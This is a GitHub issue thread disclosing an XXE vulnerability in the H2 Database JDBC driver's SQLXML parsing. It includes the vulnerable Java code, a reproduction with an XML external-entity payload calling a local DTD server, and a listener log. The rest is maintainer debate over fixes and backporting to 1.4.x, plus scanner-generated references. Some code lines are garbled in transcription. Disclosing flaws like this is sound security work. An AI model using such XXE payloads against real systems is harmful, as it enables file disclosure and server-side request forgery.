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# Report a H2-Database-Engine SQLXML XXE vulnerability #3195



threedr3am commented on Oct 22, 2021 • edited •

Hello, I am threedr3am of SecCoder Security Lab (contact@seccoder.club).

We found a security vulnerability(SCSL-2021-1001) in the H2-Database-Engine jar when using this component to connect to the h2 database , The returned data content field is parsed through SQLXML, which will cause the client XXE (https://owasp.org/www-community/vulnerabilities/XML\_External\_Entity\_(XXE)\_Processing).

- Oracle mysql jdbc also recently fixed a similar security vulnerability, please refer to: https://nvd.nist.gov/vuln/detail/CVE-2021-2471
- This is their fix commit: mysql/mysql-connector-j@ 4993d57

#### vulnerability detail:

When analyzing the data returned by the database, the org.h2.jdbc.JdbcResultSet class provides the getSQLXML(java.lang.String) method, which parses the string data into an object of the org.h2.jdbc.JdbcSQLXML class.

```
public SQLXML getSQLXML(String columnLabel) throws SQLException {
       int id = getNextId(TraceObject.SQLXML);
       if (isDebugEnabled()) {
           debugCodeAssign( className: "SQLXML", TraceObject.SQLXML, id, value: "getSQLXML(" + columnLabel + ")");
       Value v = get(columnLabel);
       return v == ValueNull.INSTANCE ? null : new JdbcSQLXML(conn, v, JdbcLob.State.WITH_VALUE, id);
   } catch (Exception e) {
       throw logAndConvert(e);
```

When the object executes the getSource(Class sourceClass) method, if the input parameter is DOMSource.class, it will result in unprotected parsing of XML, resulting in XXE.

```
public <T extends Source> T getSource(Class<T> sourceClass) throws SQLException {
       if (isDebugEnabled()) {
           debugCodeCall(
                    methodName: "getSource(" + (sourceClass != null ? sourceClass.getSimpleName() + ".class" : "null") + ')');
       checkReadable();
        if (sourceClass == null || sourceClass == DOMSource.class) {
           DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
           return (T) new DOMSource(dbf.newDocumentBuilder().parse(new InputSource(value.getInputStream())));
        } else if (sourceClass == SAXSource.class) {
              turn (T) new SAXSource(new InputSource(value.getInputStream()));
       } else if (sourceClass == StAXSource.class) {
           XMLInputFactory xif = XMLInputFactory.newInstance();
            return (T) new StAXSource(xif.createXMLStreamReader(value.getInputStream()));
       } else if (sourceClass == StreamSource.class) {
            return (T) new StreamSource(value.getInputStream());
        throw unsupported(sourceClass.getName());
    } catch (Exception e) {
        throw logAndConvert(e);
```

## vulnerability reproduction:

```
1. The table exists in the database
create table tb_test (
  id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id', message text COMMENT 'SQLXML',
  PRIMARY KEY ('id')
);
2. There is data in the tb test table
```

```
insert\ into\ tb\_test(message)\ values('<?xml\ version="1.0"\ ?> <!DOCTYPE\ note\ [\ <!ENTITY\ \%\ remote\ SYSTEM\ "http://127.0.0.1:80/xxe.dtd"> \%remote;\ ]>');
 3. Query the database to return the message field and parse it through \mathsf{SQLXML}
 Statement statement = connection.createStatement();
 statement statement = connectablific factories
statement.execute("select * from tb_test");
ResultSet resultSet = statement.getResultSet();
  while (resultSet.next()) {
      SQLXML sqlxml = resultSet.getSQLXML("message");
sqlxml.getSource(DOMSource.class);
                      athreedr3ams-MacBook-Pro
    Listening on any address 80 (http)
   Connection from 127.0.0.1:56028
    GET /xxe.dtd HTTP/1.1
    User-Agent: Java/1.8.0_241
   Host: 127.0.0.1
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
    Connection: keep-alive
<u>4</u> 3
```

threedr3am commented on Oct 22, 2021 Author This is a project repository to reproduce the vulnerability. https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe Sascha82 commented on Oct 29, 2021 Dear all.

this issue has been detected by our vulnerability scanner durint our last deployment Mid of October. This is rated as an high issue, which needs to be fixed by end of year. I guess many other

Can some developers pick this up asap and share some updates in the next days?

Thanks and best regards.

Sascha



🛱 andreitokar added a commit to andreitokar/h2database that referenced this issue on Oct 30, 2021

companies will be also affected by this issue, that's why a quick fix by end of November would be very helpful.

fix for h2database#3195 CQLXML XXE vulnerability

✓ d83285f

andreitokar mentioned this issue on Oct 30, 2021

Fix for #3195 CQLXML XXE vulnerability #3199

Merged
 Me

husseyd commented on Nov 2, 2021

Second the comments on here - would love to see the above PR go through and a new release out soon.



andreitokar closed this as completed in #3199 on Nov 4, 2021

andreitokar added a commit that referenced this issue on Nov 4, 2021



√ 7966835

husseyd commented on Nov 4, 2021

@andreitokar Can will this be published in a release and pushed to mvn etc?

cdarau commented on Nov 5, 2021

Same need over here - would love for this PR to go in a new release ASAP





cbvms123 pushed a commit to cbvms123/h2database that referenced this issue on Nov 8, 2021

snicoll commented on Dec 15, 2021 • edited 🕶

@andreitokar could you please consider backporting this? This forces everyone to migrate to 2.x



katzyn commented on Dec 15, 2021

Contributor

Sorry, we don't have enough time to produce patch releases for outdated versions of H2.

Only applications that use java-sql.SQLXML with XML data from untrusted sources are affected. SQLXML isn't used too often.

#### lukaseder commented on Dec 16, 2021

Contributor

The CVE has a score of 8.1 or 9.1, depending on who you're asking. It can't just be ignored by anyone using H2, especially now that dependabot has started complaining about the dependency! You'll probably hear more very soon, given how annoying dependabot can be :)

So, folks have to upgrade to a quite backwards incompatible 2.0 release from 1.4. Given that 2.0 can't read the 1.4 file format, that's really a significant problem.

I've tried numerous times to throw money at the problem, and I'm not alone, see #3048. But you don't seem to accept money 😅 . So, is there any other way that would help convince maintainers to make an exception for this case, or even better, implement a branching strategy going forward?

My offer from #3048 stands...



philwebb mentioned this issue on Dec 16, 2021

Allow Spring Boot 2.5 and 2.6 to work with H2 version 2.0.202 spring-projects/spring-boot#29034



katzyn commented on Dec 16, 2021

Contributor

Migration from 1.4.196 to 1.4.197 and so on also requires a dump and restore, otherwise database will be corrupted (with exception for upgrade from 1.4.198 to a bugfix release 1.4.199). Various, but not all very old releases also require that step.

We made various changes to make upgrade much simpler for new versions and upgrade from 2.0.202 to new releases shouldn't be that complicated. But we can't fix data format and SQL export format of old releases and in some cases we can't even determine data types of some columns from H2 1.\* in reliable way.

At this time, a pull request in Hibernate ORM with a fix for an old issue HHH-14180 can help a lot I guess. Some other projects are already updated.

lukaseder commented on Dec 17, 2021

Contributor

Irrespective of the numbering scheme, all I'm saying is, if there were branches off each of these (major?) releases disguised as patch release numbers, then people could upgrade to get urgent fixes such as this one without having to deal with all the hassle of upgrading the rest.

To illustrate: A CVE this severe may need production patching. People can't risk taking down production by introducing 500 new features hastily just to get access to a CVE fix. That's how a 1.4.198.1, 1.4.199.1, 1.4.200.1 release (or whatever numbering scheme) would help a lot.

On a branch, automated tests and everything else still works as it used to, 2 years ago, untouched. So once the branching and branch releasing infrastructure is set up, then backports only consist of backporting the actual fix. I think this would definitely be worth it for important CVEs and bugs, no?



manticore-projects commented on Dec 17, 2021

On a branch, automated tests and everything else still works as it used to, 2 years ago, untouched. So once the branching and branch releasing infrastructure is set up, then backports only consist of backporting the actual fix. I think this would definitely be worth it for important CVEs and bugs, no?

The back-port does not even need to be done by the H2 core team itself. Any interested developer could do it and submit a PR. But without a H2 branch, right now this is a futile attempt: I can write a PR against 1.4.200 but will never be able to publish it: my own repo is irrelevant and the official repo runs as a rolling release.



katzyn commented on Dec 17, 2021 • edited 🕶

Contributor

## @lukaseder

We need a stable base for patch releases and a some infrastructure for them, because internally there is no x.y.z scheme, releases are numbered sequentially, 197, 198, 199, 200 and so on. Hypothetically we can produce patch releases in the future, but only for H2 2.0+ and after some changes in their internal numbers.

The current plan is to fix unexpected regressions in 2.0.202 and publish a patch release in the near future (2.0.204 or something like it). These fixes by itself need a lot of time.

I quess nobody has a time to mess with 1.4.\* on our side. 1.4.200 is a completely outdated beta-quality version not really suitable for persistent databases, 1.4.199 is more reliable. Unfortunately, a bugfix release for 1.4.200 wasn't built when it was needed (like 1.4.199 was released to fix problems in buggy 1.4.198). Some people still use 1.4.197 or even 1.4.196, and these versions aren't affected by this vulnerability.

I should say again: if somebody wants to help, please, take a look on H2Dialect, H2IdentityColumnSupport, H2SequenceSupport, etc. in Hibernate ORM; their outdated state is the largest blocker for adoption of H2 2.0.

consultantleon commented on Dec 17, 2021 • edited •

From what I'm reading here, it confirms that the advise we give customers for years now is still correct: don't use H2 for production deployments. Only for local/testing/demo applications. We stuck with 1.4.193 as any later version caused pains and showed unacceptable bugs.

We're looking into postgresql as a free alternative, otherwise stick with mysql or the big name DBs when you plan to run critical production services.

(however much we love the free and simple H2...!)

#### andreitokar commented on Dec 17, 2021

Contributor

@consultantleon, While I am not going to discuss suitability of H2 for various applications, I just wonder what do you mean by "unacceptable bugs"? If for some reason you think, that those dozens and dozens of bugs, that have been fixed since 1.4.193 were acceptable, but any new regressions are not, then good luck in your search for that bug-free database with pain-free upgrades and zero cost.

BTW, as a consultant you should be able to advise you clients on how to back-port vulnerability fix and build a patched version yourself. All it takes is to cherry-pick a single commit from one branch to another. The problem arises when you need to publish "official" patched builds for multiple versions (1.4.193 1.4.197, 1.4.199, ...?). Some may argue, that home-made patch just won't cut it for a company "Foo", but I doubt, if they would ever select any software, not backed by a company (and H2 is not), in a first place.

P.S. Don't forget to write that 1-star review on Yelp 😩

andreitokar mentioned this issue on Dec 17, 2021

CVE-2021-23463 Fix downport to 1.4.x #3271

⊘ Closed

wclarkpk added a commit to wclarkpk/h2database that referenced this issue on Dec 20, 2021

Backport Fix for h2database#3195 CQLXML XXE vulnerability h2database#... ...

176h23c

chadlwilson commented on Dec 21, 2021

@katzyn and @andreitokar - if someone helps with the logistics; figuring out the right commit to branch off and such, getting tests and build to pass, would you be willing to assist the community in pushing a release with just this fix - say 1.4.200.1?

Noting your comments on release numbering, perhaps it is sufficient for the community that this still identifies itself as 200, even if the jars are named 1.4.200.1 (and arguably 1.4.199.1 if some have identified that they weren't supposed to use 200)? Would such a compromise work?

I note @wclarkpk seems to be working on it. I'm wondering how the community can help reduce the effort for you to make it as easy as possible to cut and push a release so we can avoid repeat work by the large number of folks who are possibly using 1.4 and are not yet ready to make the breaking-ish migration to 2.0.x.

#### katzyn commented on Dec 21, 2021

Contributor

If you don't use affected methods of java.sq1.SQLXML interface in your application you can safely ignore this vulnerability. It cannot be exposed if these methods aren't called. (Hibernate ORM doesn't call them by itself, BTW.)

More or less stable 1.4.199 has at least three security issues, all of them were discussed here, on GitHub, and nobody cares about other two. Why you want to fix only one that doesn't affect almost all applications? Other issues also affect only few applications, and yours may be not affected, but anyway.

Unfortunately, a fix of one of them cannot be backported to 1.4 series of releases without massive changes, it doesn't affect single-user applications, but it will be very strange to create a patch release for an outdated version that will still have security problems.

## chadlwilson commented on Dec 21, 2021

@katzyn Thanks. I was not aware of other vulnerabilities in 1.4.200 or 1.4.199. There are none other that are filed against the CPE for 1.4.200 (or 1.4.199) at least. People rely on scanning tools to report issues with their transitives, due to the scale of most software - that is why this one is drawing more attention (rightly or wrongly). If there are indeed others such as CVE-2018-14335 (in changelog for 2.0.202), they are filed incorrectly with Mitre/NIST NVD (or not at all), as that one is only reported specifically against 1.4.197, not later versions.

I agree that the particular issue here doesn't affect everyone - for my particular usage I was intending to suppress with commentary and perhaps add static analysis rule to fail builds if this function is used (doesn't protect from libraries using it without some difficulty). Nevertheless, it does leave lingering risk for folks to have it there in case they start using that feature in future, and neglect

I disagree with you that it is strange, since it's common practice to backport fixes when a new release makes breaking changes. However it depends what these other security issues are and their relative severity, likelihood of exploitation, available mitigations etc. It might be perfectly reasonable to patch a high/critical rated vulnerability while leaving a lower severity one unpatched (risk vs. effort/value).

Since I can't find those other ones, I can't really comment other than in general, however. If you can point me to the "difficult to backport" one, possible I'd better understand what you're getting at.

## katzyn commented on Dec 21, 2021

Contributor

GRANT SELECT, INSERT, UPDATE, DELETE gives access not only to DML, but also to DDL commands on the specified table to the specified unprivileged user. For example, it can drop this table, change its constraints or do something else. Backport of fix for this issue is too complicated.



A248 mentioned this issue on Jan 4

Bump h2 from 1.4.199 to 2.0.202 A248/LibertyBans#105

[ ] ; Closed

Ukaseder mentioned this issue on Jan 7


Upgrade H2 dependency to 2.0.206 jOOQ/jOOQ#12795



This was referenced on May 10

(⊙Open) CVE-2021-23463 (High) detected in h2-1.4.200.jar, h2-1.4.199.jar KDWSS/dd-trace-java#473 ⊙ Open mend-bolt-for-github bot mentioned this issue on May 10 CVE-2021-23463 (High) detected in h2-1.4.200.jar - autoclosed valtech-ch/microservice-kubernetes-cluster#634 □ This was referenced on May 11 CVE-2021-23463 (High) detected in h2-1.4.200.jar Tim-sandbox/Petclinic#14 ( ⊙ Open ) CVE-2021-23463 (High) detected in h2-1.4.200.jar Yoavmartin/spring-petclinic#22 ⊙ Open CVE-2021-23463 (High) detected in h2-1.4.200.jar rsoreq/cwa-server#39 CVE-2021-23463 (High) detected in h2-1.4.199.jar Tim-sandbox/barista#99 ⊙ Open This was referenced on May 11 CVE-2021-23463 (High) detected in h2-1.4.200.jar gavarasana/fundamentals#5 ( ⊙ Open CVE-2021-23463 (High) detected in h2-1.4.200.jar ghuangsnl/spring-boot#121 CVE-2021-23463 (High) detected in h2-1.4.200.jar gavarasana/spring-petclinic#18 ⊙ Open This was referenced on May 11 CVE-2021-23463 (High) detected in h2-1.4.200.jar snowdensb/spring-boot#161 (⊙Open CVE-2021-23463 (High) detected in h2-1.4.200.jar brogers588/spring-boot#177 ⊙ Open √
This was referenced on May 11 CVE-2021-23463 (High) detected in h2-1.4.200.jar vlaship/case-coding-test#4 (⊙Open) CVE-2021-23463 (High) detected in h2-1.4.200.jar HoangBachLeLe/ConferenceTrackManagement#14 ( ⊙ Open CVE-2021-23463 (High) detected in h2-1.4.200.jar HoangBachLeLe/SalesTaxes#14 ⊙ Open CVE-2021-23463 (High) detected in h2-1.4.199.jar mgh3326/freelec-springboot2-webservice\_practice#98 h2-1.4.200.jar: 4 vulnerabilities (highest severity is: 9.8) HoangBachLeLe/SpringAngular#61 (⊙Open) CVE-2021-23463 (High) detected in h2-1.4.200.jar MikeGratsas/currency-converter#18 ⊙Open CVE-2021-23463 (High) detected in h2-1.4.199.jar wasimakh2/JPAGenratorRelease#101 (⊙Open) CVE-2021-23463 (High) detected in h2-1.4.199.jar andygonzalez2010/store#394 ⊙ Open CVE-2021-23463 (High) detected in h2-1.4.200.jar mgh3326/hot\_deal\_alarm\_api#85 ⊙ Open CVE-2021-23463 (High) detected in h2-1.4.200.jar HoangBachLeLe/TemplateRepository#11 ⊙ Open CVE-2021-23463 (High) detected in h2-1.4.199.jar vwasthename/iaf#34 (⊙Open) CVE-2021-23463 (High) detected in h2-1.4.199.jar AlexRogalskiy/java4you#137 ⊙ Open

CVE-2021-23463 (High) detected in h2-1.4.199.jar snowdensb/spring-security-oauth#144



11 participants















